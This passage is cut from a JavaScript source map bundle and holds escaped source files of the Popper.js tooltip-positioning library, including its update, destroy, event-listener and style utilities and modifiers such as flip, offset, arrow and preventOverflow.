data.offsets.popper.position = this.options.positionFixed\n    ? 'fixed'\n    : 'absolute';\n\n  // run the modifiers\n  data = runModifiers(this.modifiers, data);\n\n  // the first `update` will call `onCreate` callback\n  // the other ones will call `onUpdate` callback\n  if (!this.state.isCreated) {\n    this.state.isCreated = true;\n    this.options.onCreate(data);\n  } else {\n    this.options.onUpdate(data);\n  }\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","import isModifierEnabled from '../utils/isModifierEnabled';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * Destroys the popper.\n * @method\n * @memberof Popper\n */\nexport default function destroy() {\n  this.state.isDestroyed = true;\n\n  // touch DOM only if `applyStyle` modifier is enabled\n  if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n    this.popper.removeAttribute('x-placement');\n    this.popper.style.position = '';\n    this.popper.style.top = '';\n    this.popper.style.left = '';\n    this.popper.style.right = '';\n    this.popper.style.bottom = '';\n    this.popper.style.willChange = '';\n    this.popper.style[getSupportedPropertyName('transform')] = '';\n  }\n\n  this.disableEventListeners();\n\n  // remove the popper if user explicity asked for the deletion on destroy\n  // do not use `remove` because IE11 doesn't support it\n  if (this.options.removeOnDestroy) {\n    this.popper.parentNode.removeChild(this.popper);\n  }\n  return this;\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import setupEventListeners from '../utils/setupEventListeners';\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nexport default function enableEventListeners() {\n  if (!this.state.eventsEnabled) {\n    this.state = setupEventListeners(\n      this.reference,\n      this.options,\n      this.state,\n      this.scheduleUpdate\n    );\n  }\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import removeEventListeners from '../utils/removeEventListeners';\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger `onUpdate` callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nexport default function disableEventListeners() {\n  if (this.state.eventsEnabled) {\n    cancelAnimationFrame(this.scheduleUpdate);\n    this.state = removeEventListeners(this.reference, this.state);\n  }\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import setStyles from '../utils/setStyles';\nimport setAttributes from '../utils/setAttributes';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport computeAutoPlacement from '../utils/computeAutoPlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nexport default function applyStyle(data) {\n  // any property present in `data.styles` will be applied to the popper,\n  // in this way we can make the 3rd party modifiers add custom styles to it\n  // Be aware, modifiers could override the properties defined in the previous\n  // lines of this modifier!\n  setStyles(data.instance.popper, data.styles);\n\n  // any property present in `data.attributes` will be applied to the popper,\n  // they will be set as HTML attributes of the element\n  setAttributes(data.instance.popper, data.attributes);\n\n  // if arrowElement is defined and arrowStyles has some properties\n  if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n    setStyles(data.arrowElement, data.arrowStyles);\n  }\n\n  return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nexport function applyStyleOnLoad(\n  reference,\n  popper,\n  options,\n  modifierOptions,\n  state\n) {\n  // compute reference element offsets\n  const referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  const placement = computeAutoPlacement(\n    options.placement,\n    referenceOffsets,\n    popper,\n    reference,\n    options.modifiers.flip.boundariesElement,\n    options.modifiers.flip.padding\n  );\n\n  popper.setAttribute('x-placement', placement);\n\n  // Apply `position` to popper before anything else because\n  // without the position applied we can't guarantee correct computations\n  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n  return options;\n}\n","import getSupportedPropertyName from '../utils/getSupportedPropertyName';\nimport find from '../utils/find';\nimport getOffsetParent from '../utils/getOffsetParent';\nimport getBoundingClientRect from '../utils/getBoundingClientRect';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeStyle(data, options) {\n  const { x, y } = options;\n  const { popper } = data.offsets;\n\n  // Remove this legacy support in Popper.js v2\n  const legacyGpuAccelerationOption = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'applyStyle'\n  ).gpuAcceleration;\n  if (legacyGpuAccelerationOption !== undefined) {\n    console.warn(\n      'WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!'\n    );\n  }\n  const gpuAcceleration =\n    legacyGpuAccelerationOption !== undefined\n      ? legacyGpuAccelerationOption\n      : options.gpuAcceleration;\n\n  const offsetParent = getOffsetParent(data.instance.popper);\n  const offsetParentRect = getBoundingClientRect(offsetParent);\n\n  // Styles\n  const styles = {\n    position: popper.position,\n  };\n\n  // Avoid blurry text by using full pixel integers.\n  // For pixel-perfect positioning, top/bottom prefers rounded\n  // values, while left/right prefers floored values.\n  const offsets = {\n    left: Math.floor(popper.left),\n    top: Math.round(popper.top),\n    bottom: Math.round(popper.bottom),\n    right: Math.floor(popper.right),\n  };\n\n  const sideA = x === 'bottom' ? 'top' : 'bottom';\n  const sideB = y === 'right' ? 'left' : 'right';\n\n  // if gpuAcceleration is set to `true` and transform is supported,\n  //  we use `translate3d` to apply the position to the popper we\n  // automatically use the supported prefixed version if needed\n  const prefixedProperty = getSupportedPropertyName('transform');\n\n  // now, let's make a step back and look at this code closely (wtf?)\n  // If the content of the popper grows once it's been positioned, it\n  // may happen that the popper gets misplaced because of the new content\n  // overflowing its reference element\n  // To avoid this problem, we provide two options (x and y), which allow\n  // the consumer to define the offset origin.\n  // If we position a popper on top of a reference element, we can set\n  // `x` to `top` to make the popper grow towards its top instead of\n  // its bottom.\n  let left, top;\n  if (sideA === 'bottom') {\n    // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)\n    // and not the bottom of the html element\n    if (offsetParent.nodeName === 'HTML') {\n      top = -offsetParent.clientHeight + offsets.bottom;\n    } else {\n      top = -offsetParentRect.height + offsets.bottom;\n    }\n  } else {\n    top = offsets.top;\n  }\n  if (sideB === 'right') {\n    if (offsetParent.nodeName === 'HTML') {\n      left = -offsetParent.clientWidth + offsets.right;\n    } else {\n      left = -offsetParentRect.width + offsets.right;\n    }\n  } else {\n    left = offsets.left;\n  }\n  if (gpuAcceleration && prefixedProperty) {\n    styles[prefixedProperty] = `translate3d(${left}px, ${top}px, 0)`;\n    styles[sideA] = 0;\n    styles[sideB] = 0;\n    styles.willChange = 'transform';\n  } else {\n    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n    const invertTop = sideA === 'bottom' ? -1 : 1;\n    const invertLeft = sideB === 'right' ? -1 : 1;\n    styles[sideA] = top * invertTop;\n    styles[sideB] = left * invertLeft;\n    styles.willChange = `${sideA}, ${sideB}`;\n  }\n\n  // Attributes\n  const attributes = {\n    'x-placement': data.placement,\n  };\n\n  // Update `data` attributes, styles and arrowStyles\n  data.attributes = { ...attributes, ...data.attributes };\n  data.styles = { ...styles, ...data.styles };\n  data.arrowStyles = { ...data.offsets.arrow, ...data.arrowStyles };\n\n  return data;\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOuterSizes from '../utils/getOuterSizes';\nimport isModifierRequired from '../utils/isModifierRequired';\nimport getStyleComputedProperty from '../utils/getStyleComputedProperty';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function arrow(data, options) {\n  // arrow depends on keepTogether in order to work\n  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n    return data;\n  }\n\n  let arrowElement = options.element;\n\n  // if arrowElement is a string, suppose it's a CSS selector\n  if (typeof arrowElement === 'string') {\n    arrowElement = data.instance.popper.querySelector(arrowElement);\n\n    // if arrowElement is not found, don't run the modifier\n    if (!arrowElement) {\n      return data;\n    }\n  } else {\n    // if the arrowElement isn't a query selector we must check that the\n    // provided DOM node is child of its popper node\n    if (!data.instance.popper.contains(arrowElement)) {\n      console.warn(\n        'WARNING: `arrow.element` must be child of its popper element!'\n      );\n      return data;\n    }\n  }\n\n  const placement = data.placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n  const len = isVertical ? 'height' : 'width';\n  const sideCapitalized = isVertical ? 'Top' : 'Left';\n  const side = sideCapitalized.toLowerCase();\n  const altSide = isVertical ? 'left' : 'top';\n  const opSide = isVertical ? 'bottom' : 'right';\n  const arrowElementSize = getOuterSizes(arrowElement)[len];\n\n  //\n  // extends keepTogether behavior making sure the popper and its\n  // reference have enough pixels in conjunction\n  //\n\n  // top/left side\n  if (reference[opSide] - arrowElementSize < popper[side]) {\n    data.offsets.popper[side] -=\n      popper[side] - (reference[opSide] - arrowElementSize);\n  }\n  // bottom/right side\n  if (reference[side] + arrowElementSize > popper[opSide]) {\n    data.offsets.popper[side] +=\n      reference[side] + arrowElementSize - popper[opSide];\n  }\n  data.offsets.popper = getClientRect(data.offsets.popper);\n\n  // compute center of the popper\n  const center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n  // Compute the sideValue using the updated popper offsets\n  // take popper margin in account because we don't have this info available\n  const css = getStyleComputedProperty(data.instance.popper);\n  const popperMarginSide = parseFloat(css[`margin${sideCapitalized}`], 10);\n  const popperBorderSide = parseFloat(css[`border${sideCapitalized}Width`], 10);\n  let sideValue =\n    center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n  // prevent arrowElement from being placed not contiguously to its popper\n  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n  data.arrowElement = arrowElement;\n  data.offsets.arrow = {\n    [side]: Math.round(sideValue),\n    [altSide]: '', // make sure to unset any eventual altSide value from the DOM node\n  };\n\n  return data;\n}\n","/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nexport default function getOppositeVariation(variation) {\n  if (variation === 'end') {\n    return 'start';\n  } else if (variation === 'start') {\n    return 'end';\n  }\n  return variation;\n}\n","/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-end` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nexport default [\n  'auto-start',\n  'auto',\n  'auto-end',\n  'top-start',\n  'top',\n  'top-end',\n  'right-start',\n  'right',\n  'right-end',\n  'bottom-end',\n  'bottom',\n  'bottom-start',\n  'left-end',\n  'left',\n  'left-start',\n];\n","import placements from '../methods/placements';\n\n// Get rid of `auto` `auto-start` and `auto-end`\nconst validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nexport default function clockwise(placement, counter = false) {\n  const index = validPlacements.indexOf(placement);\n  const arr = validPlacements\n    .slice(index + 1)\n    .concat(validPlacements.slice(0, index));\n  return counter ? arr.reverse() : arr;\n}\n","import getOppositePlacement from '../utils/getOppositePlacement';\nimport getOppositeVariation from '../utils/getOppositeVariation';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\nimport getBoundaries from '../utils/getBoundaries';\nimport isModifierEnabled from '../utils/isModifierEnabled';\nimport clockwise from '../utils/clockwise';\n\nconst BEHAVIORS = {\n  FLIP: 'flip',\n  CLOCKWISE: 'clockwise',\n  COUNTERCLOCKWISE: 'counterclockwise',\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function flip(data, options) {\n  // if `inner` modifier is enabled, we can't use the `flip` modifier\n  if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n    return data;\n  }\n\n  if (data.flipped && data.placement === data.originalPlacement) {\n    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n    return data;\n  }\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    options.boundariesElement,\n    data.positionFixed\n  );\n\n  let placement = data.placement.split('-')[0];\n  let placementOpposite = getOppositePlacement(placement);\n  let variation = data.placement.split('-')[1] || '';\n\n  let flipOrder = [];\n\n  switch (options.behavior) {\n    case BEHAVIORS.FLIP:\n      flipOrder = [placement, placementOpposite];\n      break;\n    case BEHAVIORS.CLOCKWISE:\n      flipOrder = clockwise(placement);\n      break;\n    case BEHAVIORS.COUNTERCLOCKWISE:\n      flipOrder = clockwise(placement, true);\n      break;\n    default:\n      flipOrder = options.behavior;\n  }\n\n  flipOrder.forEach((step, index) => {\n    if (placement !== step || flipOrder.length === index + 1) {\n      return data;\n    }\n\n    placement = data.placement.split('-')[0];\n    placementOpposite = getOppositePlacement(placement);\n\n    const popperOffsets = data.offsets.popper;\n    const refOffsets = data.offsets.reference;\n\n    // using floor because the reference offsets may contain decimals we are not going to consider here\n    const floor = Math.floor;\n    const overlapsRef =\n      (placement === 'left' &&\n        floor(popperOffsets.right) > floor(refOffsets.left)) ||\n      (placement === 'right' &&\n        floor(popperOffsets.left) < floor(refOffsets.right)) ||\n      (placement === 'top' &&\n        floor(popperOffsets.bottom) > floor(refOffsets.top)) ||\n      (placement === 'bottom' &&\n        floor(popperOffsets.top) < floor(refOffsets.bottom));\n\n    const overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n    const overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n    const overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n    const overflowsBottom =\n      floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n    const overflowsBoundaries =\n      (placement === 'left' && overflowsLeft) ||\n      (placement === 'right' && overflowsRight) ||\n      (placement === 'top' && overflowsTop) ||\n      (placement === 'bottom' && overflowsBottom);\n\n    // flip the variation if required\n    const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n    const flippedVariation =\n      !!options.flipVariations &&\n      ((isVertical && variation === 'start' && overflowsLeft) ||\n        (isVertical && variation === 'end' && overflowsRight) ||\n        (!isVertical && variation === 'start' && overflowsTop) ||\n        (!isVertical && variation === 'end' && overflowsBottom));\n\n    if (overlapsRef || overflowsBoundaries || flippedVariation) {\n      // this boolean to detect any flip loop\n      data.flipped = true;\n\n      if (overlapsRef || overflowsBoundaries) {\n        placement = flipOrder[index + 1];\n      }\n\n      if (flippedVariation) {\n        variation = getOppositeVariation(variation);\n      }\n\n      data.placement = placement + (variation ? '-' + variation : '');\n\n      // this object contains `position`, we want to preserve it along with\n      // any additional property we may add in the future\n      data.offsets.popper = {\n        ...data.offsets.popper,\n        ...getPopperOffsets(\n          data.instance.popper,\n          data.offsets.reference,\n          data.placement\n        ),\n      };\n\n      data = runModifiers(data.instance.modifiers, data, 'flip');\n    }\n  });\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function keepTogether(data) {\n  const { popper, reference } = data.offsets;\n  const placement = data.placement.split('-')[0];\n  const floor = Math.floor;\n  const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n  const side = isVertical ? 'right' : 'bottom';\n  const opSide = isVertical ? 'left' : 'top';\n  const measurement = isVertical ? 'width' : 'height';\n\n  if (popper[side] < floor(reference[opSide])) {\n    data.offsets.popper[opSide] =\n      floor(reference[opSide]) - popper[measurement];\n  }\n  if (popper[opSide] > floor(reference[side])) {\n    data.offsets.popper[opSide] = floor(reference[side]);\n  }\n\n  return data;\n}\n","import isNumeric from '../utils/isNumeric';\nimport getClientRect from '../utils/getClientRect';\nimport find from '../utils/find';\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nexport function toValue(str, measurement, popperOffsets, referenceOffsets) {\n  // separate value from unit\n  const split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n  const value = +split[1];\n  const unit = split[2];\n\n  // If it's not a number it's an operator, I guess\n  if (!value) {\n    return str;\n  }\n\n  if (unit.indexOf('%') === 0) {\n    let element;\n    switch (unit) {\n      case '%p':\n        element = popperOffsets;\n        break;\n      case '%':\n      case '%r':\n      default:\n        element = referenceOffsets;\n    }\n\n    const rect = getClientRect(element);\n    return rect[measurement] / 100 * value;\n  } else if (unit === 'vh' || unit === 'vw') {\n    // if is a vh or vw, we calculate the size based on the viewport\n    let size;\n    if (unit === 'vh') {\n      size = Math.max(\n        document.documentElement.clientHeight,\n        window.innerHeight || 0\n      );\n    } else {\n      size = Math.max(\n        document.documentElement.clientWidth,\n        window.innerWidth || 0\n      );\n    }\n    return size / 100 * value;\n  } else {\n    // if is an explicit pixel unit, we get rid of the unit and keep the value\n    // if is an implicit unit, it's px, and we return just the value\n    return value;\n  }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nexport function parseOffset(\n  offset,\n  popperOffsets,\n  referenceOffsets,\n  basePlacement\n) {\n  const offsets = [0, 0];\n\n  // Use height if placement is left or right and index is 0 otherwise use width\n  // in this way the first offset will use an axis and the second one\n  // will use the other one\n  const useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n  // Split the offset string to obtain a list of values and operands\n  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n  const fragments = offset.split(/(\\+|\\-)/).map(frag => frag.trim());\n\n  // Detect if the offset string contains a pair of values or a single one\n  // they could be separated by comma or space\n  const divider = fragments.indexOf(\n    find(fragments, frag => frag.search(/,|\\s/) !== -1)\n  );\n\n  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n    console.warn(\n      'Offsets separated by white space(s) are deprecated, use a comma (,) instead.'\n    );\n  }\n\n  // If divider is found, we divide the list of values and operands to divide\n  // them by ofset X and Y.\n  const splitRegex = /\\s*,\\s*|\\s+/;\n  let ops = divider !== -1\n    ? [\n        fragments\n          .slice(0, divider)\n          .concat([fragments[divider].split(splitRegex)[0]]),\n        [fragments[divider].split(splitRegex)[1]].concat(\n          fragments.slice(divider + 1)\n        ),\n      ]\n    : [fragments];\n\n  // Convert the values with units to absolute pixels to allow our computations\n  ops = ops.map((op, index) => {\n    // Most of the units rely on the orientation of the popper\n    const measurement = (index === 1 ? !useHeight : useHeight)\n      ? 'height'\n      : 'width';\n    let mergeWithPrevious = false;\n    return (\n      op\n        // This aggregates any `+` or `-` sign that aren't considered operators\n        // e.g.: 10 + +5 => [10, +, +5]\n        .reduce((a, b) => {\n          if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n            a[a.length - 1] = b;\n            mergeWithPrevious = true;\n            return a;\n          } else if (mergeWithPrevious) {\n            a[a.length - 1] += b;\n            mergeWithPrevious = false;\n            return a;\n          } else {\n            return a.concat(b);\n          }\n        }, [])\n        // Here we convert the string values into number values (in px)\n        .map(str => toValue(str, measurement, popperOffsets, referenceOffsets))\n    );\n  });\n\n  // Loop trough the offsets arrays and execute the operations\n  ops.forEach((op, index) => {\n    op.forEach((frag, index2) => {\n      if (isNumeric(frag)) {\n        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n      }\n    });\n  });\n  return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nexport default function offset(data, { offset }) {\n  const { placement, offsets: { popper, reference } } = data;\n  const basePlacement = placement.split('-')[0];\n\n  let offsets;\n  if (isNumeric(+offset)) {\n    offsets = [+offset, 0];\n  } else {\n    offsets = parseOffset(offset, popper, reference, basePlacement);\n  }\n\n  if (basePlacement === 'left') {\n    popper.top += offsets[0];\n    popper.left -= offsets[1];\n  } else if (basePlacement === 'right') {\n    popper.top += offsets[0];\n    popper.left += offsets[1];\n  } else if (basePlacement === 'top') {\n    popper.left += offsets[0];\n    popper.top -= offsets[1];\n  } else if (basePlacement === 'bottom') {\n    popper.left += offsets[0];\n    popper.top += offsets[1];\n  }\n\n  data.popper = popper;\n  return data;\n}\n","import getOffsetParent from '../utils/getOffsetParent';\nimport getBoundaries from '../utils/getBoundaries';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function preventOverflow(data, options) {\n  let boundariesElement =\n    options.boundariesElement || getOffsetParent(data.instance.popper);\n\n  // If offsetParent is the reference element, we really want to\n  // go one step up and use the next offsetParent as reference to\n  // avoid to make this modifier completely useless and look like broken\n  if (data.instance.reference === boundariesElement) {\n    boundariesElement = getOffsetParent(boundariesElement);\n  }\n\n  // NOTE: DOM access here\n  // resets the popper's position so that the document size can be calculated excluding\n  // the size of the popper element itself\n  const transformProp = getSupportedPropertyName('transform');\n  const popperStyles = data.instance.popper.style; // assignment to help minification\n  const { top, left, [transformProp]: transform } = popperStyles;\n  popperStyles.top = '';\n  popperStyles.left = '';\n  popperStyles[transformProp] = '';\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    boundariesElement,\n    data.positionFixed\n  );\n\n  // NOTE: DOM access here\n  // restores the original style properties after the offsets have been computed\n  popperStyles.top = top;\n  popperStyles.left = left;\n  popperStyles[transformProp] = transform;\n\n  options.boundaries = boundaries;\n\n  const order = options.priority;\n  let popper = data.offsets.popper;\n\n  const check = {\n    primary(placement) {\n      let value = popper[placement];\n      if (\n        popper[placement] < boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.max(popper[placement], boundaries[placement]);\n      }\n      return { [placement]: value };\n    },\n    secondary(placement) {\n      const mainSide = placement === 'right' ? 'left' : 'top';\n      let value = popper[mainSide];\n      if (\n        popper[placement] > boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.min(\n          popper[mainSide],\n          boundaries[placement] -\n            (placement === 'right' ? popper.width : popper.height)\n        );\n      }\n      return { [mainSide]: value };\n    },\n  };\n\n  order.forEach(placement => {\n    const side =\n      ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n    popper = { ...popper, ...check[side](placement) };\n  });\n\n  data.offsets.popper = popper;\n\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function shift(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const shiftvariation = placement.split('-')[1];\n\n  // if shift shiftvariation is specified, run the modifier\n  if (shiftvariation) {\n    const { reference, popper } = data.offsets;\n    const isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n    const side = isVertical ? 'left' : 'top';\n    const measurement = isVertical ? 'width' : 'height';\n\n    const shiftOffsets = {\n      start: { [side]: reference[side] },\n      end: {\n        [side]: reference[side] + reference[measurement] - popper[measurement],\n      },\n    };\n\n    data.offsets.popper = { ...popper, ...shiftOffsets[shiftvariation] };\n  }\n\n  return data;\n}\n","import isModifierRequired from '../utils/isModifierRequired';\nimport find from '../utils/find';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object 